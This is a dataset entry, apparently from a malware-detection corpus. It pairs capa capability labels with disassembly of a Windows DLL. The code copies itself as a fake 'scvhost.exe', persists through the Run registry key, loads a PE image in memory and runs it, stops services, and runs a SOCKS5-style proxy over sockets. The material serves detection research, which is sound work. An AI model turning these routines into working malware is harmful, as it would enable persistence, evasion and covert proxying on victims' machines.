joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10001d70
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov eax, dword [0x1000d450]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov esi, dword [ebp + 8]
mov eax, dword [esi]
push edi
push 0
push 0x80
push 3
push 0
mov ebx, ecx
mov ecx, dword [esi + 4]
push 2
push 0x40000000
lea edx, [ebx + 0x18]
push edx
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x14], ecx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ecx, dword [ebp - 0x14]
mov edi, eax
push 0
lea eax, [ebp - 0x18]
push eax
push ecx
push edi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov eax, dword [ebp + 0xc]
push 0
lea edx, [ebp - 0x1c]
push edx
add eax, 0xfffffff8
push eax
add esi, 8
push esi
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 0x1c]
add dword [ebp - 0x14], ecx
mov ecx, dword [0x1000d468]
push 4
lea edx, [ebp - 0x18]
push edx
lea eax, [ebp - 0xf]
push eax
mov byte [ebp - 0x10], 0xdb
call fcn.100064e0
push 4
lea ecx, [ebp - 0x14]
push ecx
mov ecx, dword [0x1000d468]
lea edx, [ebp - 0xb]
push edx
call fcn.100064e0
push 0x14
call dword [sym.imp.KERNEL32.dll_Sleep]
push 9
lea eax, [ebp - 0x10]
push eax
mov ecx, ebx
call fcn.10005810
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.100088cc
mov esp, ebp
pop ebp
ret 8

Function at 0x10001ee0
Capabilities:
Get file size

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov eax, dword [0x1000d450]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
push 0
push 0x80
push 3
push 0
push 0
mov edi, ecx
push closesocket
lea eax, [edi + 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
jne 0x10001f37
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, edi
call fcn.10001e40
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.100088cc
mov esp, ebp
pop ebp
ret 4
lea ecx, [ebp - 0x18]
push ecx
push esi
mov dword [ebp - 0x18], 0
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push esi
mov dword [ebp - 0x1c], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [0x1000d468]
push 4
lea edx, [ebp - 0x18]
push edx
lea eax, [ebp - 0x13]
push eax
mov byte [ebp - 0x14], 0xdd
call fcn.100064e0
push 4
lea ecx, [ebp - 0x1c]
push ecx
mov ecx, dword [0x1000d468]
lea edx, [ebp - 0xf]
push edx
call fcn.100064e0
mov ecx, dword [0x1000d468]
push 4
push 0x1000d46c
lea eax, [ebp - 0xb]
push eax
call fcn.100064e0
push 0x12c
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0xd
lea ecx, [ebp - 0x14]
push ecx
mov ecx, edi
call fcn.10005810
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.100088cc
mov esp, ebp
pop ebp
ret 4
Function at 0x100029c0
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0
mov word [ebp - 4], 0x5c
call esi
push 0x104
push 0
push 0x1000d6a8
call sub.MSVCR100.dll_memset
add esp, 0xc
push 0
call esi
push 0
push 0x1a
push 0x1000d6a8
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
push 0
call esi
mov ecx, dword [0x1000d468]
lea eax, [ebp - 4]
push eax
push 0x1000d6a8
call fcn.10006510
mov ecx, dword [ebp + 8]
push ecx
mov ecx, dword [0x1000d468]
push 0x1000d6a8
call fcn.10006510
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x10002ab0
Capabilities:
Check if file exists
Get file attributes
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
mov al, byte [0x1000d254]
push esi
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
push edi
xor edi, edi
mov byte [ebp - 4], al
cmp dword [0x1000d7b0], edi
jne 0x10002bd1
mov ecx, dword [ebp + 8]
push ecx
call fcn.100029c0
add esp, 4
push edi
call esi
push 0x1000d6a8
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x10002b08
push 0x7b
push 0x1000d6a8
call fcn.100028e0
add esp, 8
pop edi
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret
push 0
call esi
push 0
push 0x80
push 3
push 0
push 0
push closesocket
push 0x1000d6a8
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [0x1000d470], eax
cmp eax, 0xffffffff
je 0x10002b00
push 0
call esi
mov edx, dword [0x1000d470]
push 0
push edx
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push 4
push 0x3000
push eax
push 0
mov dword [0x1000d6a0], eax
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push 0
mov dword [0x1000d7ac], eax
call esi
mov eax, dword [0x1000d6a0]
mov ecx, dword [0x1000d7ac]
mov edx, dword [0x1000d470]
push 0
push 0x1000d6a4
push eax
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_ReadFile]
push 0
call esi
mov eax, dword [0x1000d470]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0
call esi
mov ecx, dword [0x1000d6a0]
mov edx, dword [0x1000d7ac]
push ecx
push edx
call fcn.10002a30
mov eax, dword [0x1000d7ac]
push eax
call fcn.10005d50
add esp, 0xc
mov dword [0x1000d474], eax
test eax, eax
je 0x10002b00
mov dword [0x1000d7b0], 1
push 0
call esi
mov ecx, dword [ebp + 0xc]
mov edx, dword [0x1000d474]
push ecx
push edx
call fcn.10005c10
add esp, 8
test eax, eax
je 0x10002c0e
mov ecx, dword [ebp + 0x10]
mov edx, dword [ebp - 4]
push ecx
mov ecx, dword [0x1000d080]
push str.127.0.0.1
push edx
push 0
push ecx
push 0x1000d7c0
call eax
add esp, 0x18
mov edi, eax
mov eax, edi
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x10002d70
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20c
mov eax, dword [0x1000d450]
xor eax, ebp
mov dword [ebp - 4], eax
mov ecx, dword [0x1000d9c8]
push esi
mov esi, dword [ebp + 8]
push 0x104
lea eax, [ebp - 0x108]
push eax
push ecx
call dword [0x1000d9fc]
test esi, esi
je 0x10002dc3
push esi
lea edx, [ebp - 0x108]
push edx
lea eax, [ebp - 0x20c]
push str.Rundll32___s__DllUpdate__s
push eax
call dword [0x1000da68]
add esp, 0x10
jmp 0x10002ddf
lea ecx, [ebp - 0x108]
push ecx
lea edx, [ebp - 0x20c]
push str.Rundll32___s__Uninstall
push edx
call dword [0x1000da68]
add esp, 0xc
push 0
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.KERNEL32.dll_WinExec]
mov ecx, dword [ebp - 4]
xor ecx, ebp
mov dword [0x1000d9cc], 1
pop esi
call fcn.100088cc
mov esp, ebp
pop ebp
ret

Function at 0x10003090
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2e0
mov eax, dword [0x1000d450]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
mov edi, dword [ebp + 8]
push 0x170
lea eax, [ebp - 0x2dc]
push edi
push eax
call dword [0x1000dae8]
push 0x167
lea ecx, [ebp - 0x16b]
push 0
push ecx
mov byte [ebp - 0x16c], 0
call sub.MSVCR100.dll_memset
add esp, 0x18
push 0
push 0
push 2
push 0
push 1
push 0x40000000
lea edx, [ebp - 0x1d0]
push edx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
jne 0x1000310d
pop edi
xor eax, eax
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.100088cc
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp + 0xc]
push 0
lea eax, [ebp - 0x2e0]
push eax
add ecx, 0xfffffe90
push ecx
add edi, 0x170
push edi
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x100030fb
push esi
call dword [0x1000da0c]
lea eax, [ebp - 0x2d4]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10003142
sub eax, edx
je 0x10003172
lea edx, [ebp - 0x2d4]
push edx
lea eax, [ebp - 0x1d0]
push eax
lea ecx, [ebp - 0x16c]
push str._s__s
push ecx
call dword [0x1000da68]
add esp, 0x10
jmp 0x10003186
lea edx, [ebp - 0x1d0]
push edx
lea eax, [ebp - 0x16c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov eax, dword [ebp - 0x2d8]
sub eax, 0
je 0x100031b5
dec eax
je 0x100031aa
sub eax, 2
jne 0x100031c6
lea ecx, [ebp - 0x16c]
push ecx
call fcn.10002d70
add esp, 4
jmp 0x100031c6
push 0
lea edx, [ebp - 0x16c]
push edx
jmp 0x100031be
push 5
lea eax, [ebp - 0x16c]
push eax
call fcn.10002e10
add esp, 8
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
mov eax, 1
pop esi
call fcn.100088cc
mov esp, ebp
pop ebp
ret
Function at 0x100035e0
Capabilities:
Copy file
Persist via run registry key
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x168
mov eax, dword [0x1000d450]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
push 0x103
lea eax, [ebp - 0x163]
push 0
push eax
mov byte [ebp - 0x164], 0
call sub.MSVCR100.dll_memset
add esp, 0xc
push 0x104
lea ecx, [ebp - 0x164]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov ecx, 0xa
mov esi, str.C:Program_FilesCommon_Files_scvhost.exe
lea edi, [ebp - 0x60]
rep movsd dword es:[edi], dword [esi]
push 0x30
lea edx, [ebp - 0x36]
push 0
push edx
movsw word es:[edi], word [esi]
call sub.MSVCR100.dll_memset
add esp, 0xc
push 0
lea eax, [ebp - 0x60]
push eax
lea ecx, [ebp - 0x164]
push ecx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
lea edx, [ebp - 0x168]
push edx
push 0xf003f
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersionRun
push reloc.WS2_32.dll_accept
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x100036ab
mov ecx, dword [ebp - 0x168]
push 0x104
lea eax, [ebp - 0x164]
push eax
push 1
push 0
push ebx
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov edx, dword [ebp - 0x168]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
xor al, al
pop ebx
call fcn.100088cc
mov esp, ebp
pop ebp
ret
Function at 0x100046d0
Capabilities:
Enumerate devices by category

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
push ebx
push 0
call dword [0x1000db30]
lea eax, [ebp - 0xc]
push eax
push 0x1000ad38
push 1
xor ebx, ebx
push ebx
push 0x1000ad18
mov dword [ebp - 0xc], ebx
call dword [0x1000db38]
test eax, eax
jns 0x10004706
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp - 0xc]
push 0
lea edx, [ebp - 8]
push edx
mov dword [ebp - 8], ebx
mov ecx, dword [eax]
push 0x1000ad28
push eax
mov eax, dword [ecx + 0xc]
call eax
test eax, eax
jne 0x100047d2
mov eax, dword [ebp - 8]
lea edx, [ebp - 0x14]
push edx
lea edx, [ebp - 4]
push edx
mov dword [ebp - 4], ebx
mov ecx, dword [eax]
push 1
push eax
mov eax, dword [ecx + 0xc]
call eax
test eax, eax
jne 0x100047c7
push esi
mov esi, dword [sym.imp.OLEAUT32.dll_VariantClear]
mov edi, edi
mov eax, dword [ebp - 4]
mov ecx, dword [eax]
lea edx, [ebp - 0x10]
push edx
push 0x1000ad08
push 0
push 0
push eax
mov eax, dword [ecx + 0x24]
call eax
test eax, eax
js 0x100047a2
lea ecx, [ebp - 0x24]
push ecx
call esi
mov eax, dword [ebp - 0x10]
mov edx, dword [eax]
mov edx, dword [edx + 0xc]
push 0
lea ecx, [ebp - 0x24]
push ecx
push str.FriendlyName
push eax
call edx
test eax, eax
js 0x1000478d
inc ebx
lea eax, [ebp - 0x24]
push eax
call dword [sym.imp.OLEAUT32.dll_VariantCopy]
mov eax, dword [ebp - 0x10]
mov ecx, dword [eax]
mov edx, dword [ecx + 8]
push eax
call edx
mov eax, dword [ebp - 4]
mov ecx, dword [eax]
mov edx, dword [ecx + 8]
push eax
call edx
mov eax, dword [ebp - 8]
mov ecx, dword [eax]
lea edx, [ebp - 0x14]
push edx
lea edx, [ebp - 4]
push edx
push 1
push eax
mov eax, dword [ecx + 0xc]
call eax
test eax, eax
je 0x10004750
pop esi
mov eax, dword [ebp - 8]
mov ecx, dword [eax]
mov edx, dword [ecx + 8]
push eax
call edx
mov eax, dword [ebp - 0xc]
mov ecx, dword [eax]
mov edx, dword [ecx + 8]
push eax
call edx
call dword [0x1000db34]
mov eax, ebx
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10005540
Capabilities:
Copy file
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x8a8
mov eax, dword [0x1000d450]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, dword [ebp + 0xc]
mov eax, dword [esi]
push pe_nt_image_headers32
push eax
lea ecx, [ebp - 0x30c]
push ecx
call dword [sym.imp.MSVCR100.dll_strncpy]
mov edx, dword [esi]
push pe_nt_image_headers32
push edx
lea eax, [ebp - 0x30c]
push eax
call dword [sym.imp.MSVCR100.dll_wcstombs]
add esp, 0x18
push 0x100054a0
lea ecx, [ebp - 0x30c]
push ecx
call dword [0x1000da84]
mov dword [0x1000d9c0], eax
test eax, eax
je 0x10005757
call dword [sym.imp.KERNEL32.dll_FreeConsole]
push 1
push 0
push 2
call fcn.10005430
push 0
push 0
push 4
call fcn.10005430
add esp, 0x18
lea edx, [ebp - 0x8a4]
push edx
mov dword [ebp - 0x8a4], 0x94
call dword [0x1000da38]
cmp dword [ebp - 0x894], 2
jne 0x10005737
cmp dword [ebp - 0x8a0], 6
jae 0x100055f9
call sym.MainDll.dll_MainThread
jmp 0x10005737
lea eax, [ebp - 0x108]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
push 0x1000d110
lea ecx, [ebp - 0x108]
push ecx
mov edx, ecx
push str._s_s.exe
push edx
call dword [0x1000da68]
add esp, 0x10
push 0x104
lea eax, [ebp - 0x20c]
push eax
call dword [0x1000da48]
push str.Rundll32.exe
lea ecx, [ebp - 0x20c]
push ecx
call dword [0x1000da14]
push 1
lea edx, [ebp - 0x108]
push edx
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
lea ecx, [ebp - 0x108]
push ecx
call fcn.10007ea0
add esp, 4
test eax, eax
jne 0x1000568c
lea edx, [ebp - 0x20c]
push edx
lea eax, [ebp - 0x108]
push eax
call dword [0x1000da68]
add esp, 8
mov edx, dword [0x1000d9c8]
push 0x104
lea ecx, [ebp - 0x410]
push ecx
xor esi, esi
push edx
mov dword [ebp - 0x8a8], esi
call dword [0x1000d9fc]
lea eax, [ebp - 0x410]
push eax
lea ecx, [ebp - 0x108]
push ecx
lea edx, [ebp - 0x810]
push str._s___s__MainThread
push edx
call dword [0x1000da68]
add esp, 0x10
push 0x3e8
call dword [0x1000da10]
lea eax, [ebp - 0x8a8]
push eax
push esi
call dword [0x1000da3c]
cmp dword [ebp - 0x8a8], 0x103
je 0x10005718
push esi
call dword [0x1000da0c]
push 0xbb8
call dword [0x1000da10]
lea ecx, [ebp - 0x810]
push ecx
call fcn.10002670
add esp, 4
mov esi, eax
mov eax, dword [0x1000d9c4]
cmp eax, 3
je 0x10005727
cmp eax, 1
jne 0x100056d0
push 0xffffffffffffffff
push esi
call dword [0x1000da1c]
push esi
call dword [0x1000da0c]
push 0x64
call dword [0x1000da10]
mov eax, dword [0x1000d9c4]
cmp eax, 3
je 0x10005757
cmp eax, 1
je 0x10005757
cmp dword [0x1000d9cc], 0
je 0x10005737
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.100088cc
mov esp, ebp
pop ebp
ret 8
Function at 0x10005d50
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
je 0x10005d67
xor eax, eax
mov esp, ebp
pop ebp
ret
push ebx
mov ebx, dword [eax + 0x3c]
add ebx, eax
cmp dword [ebx], 0x4550
je 0x10005d7c
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
mov edx, dword [ebx + 0x50]
mov eax, dword [ebx + 0x34]
push esi
mov esi, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
push 4
push 0x2000
push edx
push eax
call esi
mov edi, eax
test edi, edi
jne 0x10005db3
mov ecx, dword [ebx + 0x50]
push 4
push 0x2000
push ecx
push eax
call esi
mov edi, eax
test edi, edi
je 0x10005e6f
push 0x14
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov esi, eax
xor eax, eax
push 4
mov dword [esi + 4], edi
mov dword [esi + 0xc], eax
mov dword [esi + 8], eax
mov dword [esi + 0x10], eax
mov edx, dword [ebx + 0x50]
push 0x1000
push edx
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov eax, dword [ebx + 0x54]
push 4
push 0x1000
push eax
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ecx, dword [ebp + 8]
mov edx, dword [ebx + 0x54]
add edx, dword [ecx + 0x3c]
mov dword [ebp - 4], eax
push edx
push ecx
push eax
call dword [0x1000dae8]
mov ecx, dword [ebp + 8]
mov eax, dword [ecx + 0x3c]
add eax, dword [ebp - 4]
push esi
push ebx
mov dword [esi], eax
push ecx
mov dword [eax + 0x34], edi
call fcn.100058c0
mov eax, edi
add esp, 0x18
sub eax, dword [ebx + 0x34]
je 0x10005e38
push eax
mov eax, esi
call fcn.10005a40
add esp, 4
push esi
call fcn.10005ad0
add esp, 4
test eax, eax
je 0x10005e66
push esi
call fcn.10005970
mov eax, dword [esi]
mov eax, dword [eax + 0x28]
add esp, 4
test eax, eax
je 0x10005e7f
add eax, edi
je 0x10005e66
push 0
push 1
push edi
call eax
test eax, eax
jne 0x10005e78
push esi
call fcn.10005cc0
add esp, 4
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
mov dword [esi + 0x10], 1
pop edi
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10006560
Capabilities:
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x194
mov eax, dword [0x1000d450]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
lea eax, [ebp - 0x194]
push eax
mov esi, ecx
push 0x202
mov dword [esi], vtable.CProxySocket.0
call dword [sym.imp.WS2_32.dll_WSAStartup]
xor ebx, ebx
push 0x32
lea ecx, [esi + 8]
push ebx
push ecx
mov dword [esi + 0x70], ebx
mov dword [esi + 0x6c], 0xffffffff
mov dword [esi + 4], ebx
call sub.MSVCR100.dll_memset
push 0x32
lea edx, [esi + 0x3a]
push ebx
push edx
call sub.MSVCR100.dll_memset
mov eax, dword [ebp + 8]
add esp, 0x18
lea ecx, [esi + 0x84]
push ecx
mov dword [esi + 0x78], ebx
mov dword [esi + 0x7c], ebx
mov byte [esi + 0x80], bl
mov dword [esi + 0x9c], eax
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
mov ecx, dword [ebp - 4]
mov eax, esi
pop esi
xor ecx, ebp
pop ebx
call fcn.100088cc
mov esp, ebp
pop ebp
ret 4

Function at 0x10006670
Capabilities:
Query service status
Stop service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov eax, dword [0x1000d450]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, dword [ebp + 8]
push edi
push 2
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
push 0xf01ff
mov edi, eax
push esi
push edi
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov esi, eax
lea eax, [ebp - 0x20]
push eax
push esi
call dword [sym.imp.ADVAPI32.dll_QueryServiceStatus]
cmp dword [ebp - 0x1c], 1
je 0x100066c0
lea ecx, [ebp - 0x20]
push ecx
push 1
push esi
call dword [sym.imp.ADVAPI32.dll_ControlService]
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
call esi
push edi
call esi
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.100088cc
mov esp, ebp
pop ebp
ret
Function at 0x10006760
Capabilities:
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov eax, dword [0x1000d450]
xor eax, ebp
mov dword [ebp - 4], eax
push edi
mov edi, dword [ebp + 8]
push 0x1000a52c
mov dword [ebp - 0x1c], edi
call dword [sym.imp.WS2_32.dll_gethostbyname]
mov ecx, eax
mov dword [ebp - 0x20], ecx
test ecx, ecx
je 0x10006842
push ebx
push esi
mov dword [ebp - 0x18], 0
jmp 0x100067a0
mov eax, dword [ecx + 0xc]
mov edx, dword [ebp - 0x18]
cmp dword [edx + eax], 0
je 0x10006840
xor eax, eax
mov byte [edi], 0
xor ebx, ebx
cmp ax, word [ecx + 0xa]
jge 0x10006837
lea ecx, [ecx]
test ebx, ebx
jle 0x100067d7
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x100067c5
mov dx, word [0x1000abd4]
mov word [edi], dx
mov eax, dword [ecx + 0xc]
mov ecx, dword [ebp - 0x18]
mov edx, dword [eax + ecx]
movzx eax, byte [edx + ebx]
push eax
lea ecx, [ebp - 0x14]
push 0x1000abd0
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
lea eax, [ebp - 0x14]
add esp, 0xc
mov ecx, eax
lea esp, [esp]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x10006800
mov edi, dword [ebp - 0x1c]
sub eax, ecx
mov esi, ecx
dec edi
nop
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x10006810
mov edx, dword [ebp - 0x20]
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
movsx eax, word [edx + 0xa]
mov edi, dword [ebp - 0x1c]
inc ebx
mov ecx, edx
cmp ebx, eax
jl 0x100067c0
add dword [ebp - 0x18], 4
jmp 0x100067a0
pop esi
pop ebx
mov ecx, dword [ebp - 4]
mov eax, edi
xor ecx, ebp
pop edi
call fcn.100088cc
mov esp, ebp
pop ebp
ret

Function at 0x10006860
Capabilities:
Create udp socket
Get local ipv4 addresses
Get socket information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x128
mov eax, dword [0x1000d450]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 0xc]
push esi
push edi
mov edi, dword [ebp + 8]
xor eax, eax
push 0x11
push 2
push 2
mov dword [ebp - 0x114], eax
mov dword [ebp - 0x110], eax
mov dword [ebp - 0x10c], eax
mov dword [ebp - 0x108], eax
mov dword [ebp - 0x128], 0x10
mov dword [ebp - 0x120], eax
mov dword [ebp - 0x124], 2
call dword [sym.imp.WS2_32.dll_socket]
mov esi, eax
cmp esi, 0xffffffff
jne 0x100068d6
pop edi
pop esi
xor eax, eax
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.100088cc
mov esp, ebp
pop ebp
ret
push 0x10
lea eax, [ebp - 0x124]
push eax
push esi
call dword [sym.imp.WS2_32.dll_bind]
cmp eax, 0xffffffff
je 0x100068c3
lea ecx, [ebp - 0x128]
push ecx
lea edx, [ebp - 0x114]
push edx
push esi
mov dword [ebx], esi
call dword [sym.imp.WS2_32.dll_getsockname]
lea eax, [ebp - 0x104]
push eax
call fcn.10006760
add esp, 4
push eax
call dword [sym.imp.WS2_32.dll_inet_addr]
mov cx, word [ebp - 0x112]
mov word [edi + 8], cx
mov ecx, dword [ebp - 4]
mov dword [edi + 4], eax
pop edi
pop esi
xor ecx, ebp
mov eax, 1
pop ebx
call fcn.100088cc
mov esp, ebp
pop ebp
ret
Function at 0x10006940
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
mov esi, dword [ebp + 0x10]
push edi
xor edi, edi
test esi, esi
jle 0x10006978
mov ebx, dword [ebp + 0x18]
mov eax, dword [ebp + 0x14]
mov ecx, dword [ebp + 0xc]
push ebx
push eax
mov eax, dword [ebp + 8]
push 0
push esi
lea edx, [edi + ecx]
push edx
push eax
call dword [sym.imp.WS2_32.dll_sendto]
cmp eax, 0xffffffff
je 0x1000697f
sub esi, eax
add edi, eax
test esi, esi
jg 0x10006952
mov eax, edi
pop edi
pop esi
pop ebx
pop ebp
ret
pop edi
pop esi
or eax, 0xffffffff
pop ebx
pop ebp
ret
Function at 0x10006e70
Capabilities:
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x210
mov eax, dword [0x1000d450]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 8]
push edi
mov edi, dword [ebp + 0xc]
mov al, byte [edi]
mov dword [ebp - 0x20c], ecx
mov dword [ebp - 0x210], ebx
mov word [ebp - 0x208], 5
cmp al, 5
je 0x10006ebb
pop edi
movzx eax, al
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.100088cc
mov esp, ebp
pop ebp
ret 0xc
mov al, byte [edi + 2]
push esi
lea esi, [edi + 2]
test al, al
je 0x10006ece
cmp al, 2
jne 0x1000704b
lea eax, [ecx + 8]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10006ed4
mov ecx, dword [ebx]
sub eax, edx
neg eax
sbb al, al
and al, 2
push 0
mov byte [ebp - 0x207], al
push 2
lea eax, [ebp - 0x208]
push eax
push ecx
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
je 0x1000704b
cmp byte [ebp - 0x207], 2
jne 0x10007060
push pe_nt_image_headers32
lea edx, [ebp - 0x204]
push 0
push edx
call sub.MSVCR100.dll_memset
push pe_nt_image_headers32
lea eax, [ebp - 0x104]
push 0
push eax
call sub.MSVCR100.dll_memset
mov ecx, dword [ebx]
add esp, 0x18
push 0
push 0x5000
push edi
push ecx
call dword [sym.imp.WS2_32.dll_recv]
cmp eax, 0xffffffff
je 0x1000704b
test eax, eax
je 0x1000704b
cmp byte [edi], 1
jne 0x1000704b
mov bl, byte [edi + 1]
test bl, bl
je 0x10006f89
movzx eax, bl
cmp eax, 0x100
jg 0x10006f89
push eax
lea edx, [ebp - 0x204]
push esi
push edx
call sub.MSVCR100.dll_memcpy
add esp, 0xc
movzx ecx, bl
movsx eax, byte [ecx + edi + 2]
add ecx, edi
test eax, eax
je 0x10006fb2
cmp eax, 0x100
jg 0x10006fb2
push eax
add ecx, 3
push ecx
lea ecx, [ebp - 0x104]
push ecx
call sub.MSVCR100.dll_memcpy
add esp, 0xc
mov eax, dword [ebp - 0x20c]
lea ecx, [ebp - 0x204]
add eax, 8
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x10006fe1
test dl, dl
je 0x10006fdd
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x10006fe1
add eax, 2
add ecx, 2
test dl, dl
jne 0x10006fc1
xor eax, eax
jmp 0x10006fe6
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x1000702e
mov eax, dword [ebp - 0x20c]
lea ecx, [ebp - 0x104]
add eax, 0x3a
lea esp, [esp]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x10007020
test dl, dl
je 0x1000701c
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x10007020
add eax, 2
add ecx, 2
test dl, dl
jne 0x10007000
xor eax, eax
jmp 0x10007025
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x1000702e
mov byte [edi + 1], al
jmp 0x10007032
mov byte [edi + 1], 0xff
mov edx, dword [ebp - 0x210]
mov eax, dword [edx]
push 0
push 2
push edi
push eax
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
jne 0x10007060
pop esi
pop edi
xor eax, eax
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.100088cc
mov esp, ebp
pop ebp
ret 0xc
mov ecx, dword [ebp - 4]
pop esi
pop edi
xor ecx, ebp
mov eax, 1
pop ebx
call fcn.100088cc
mov esp, ebp
pop ebp
ret 0xc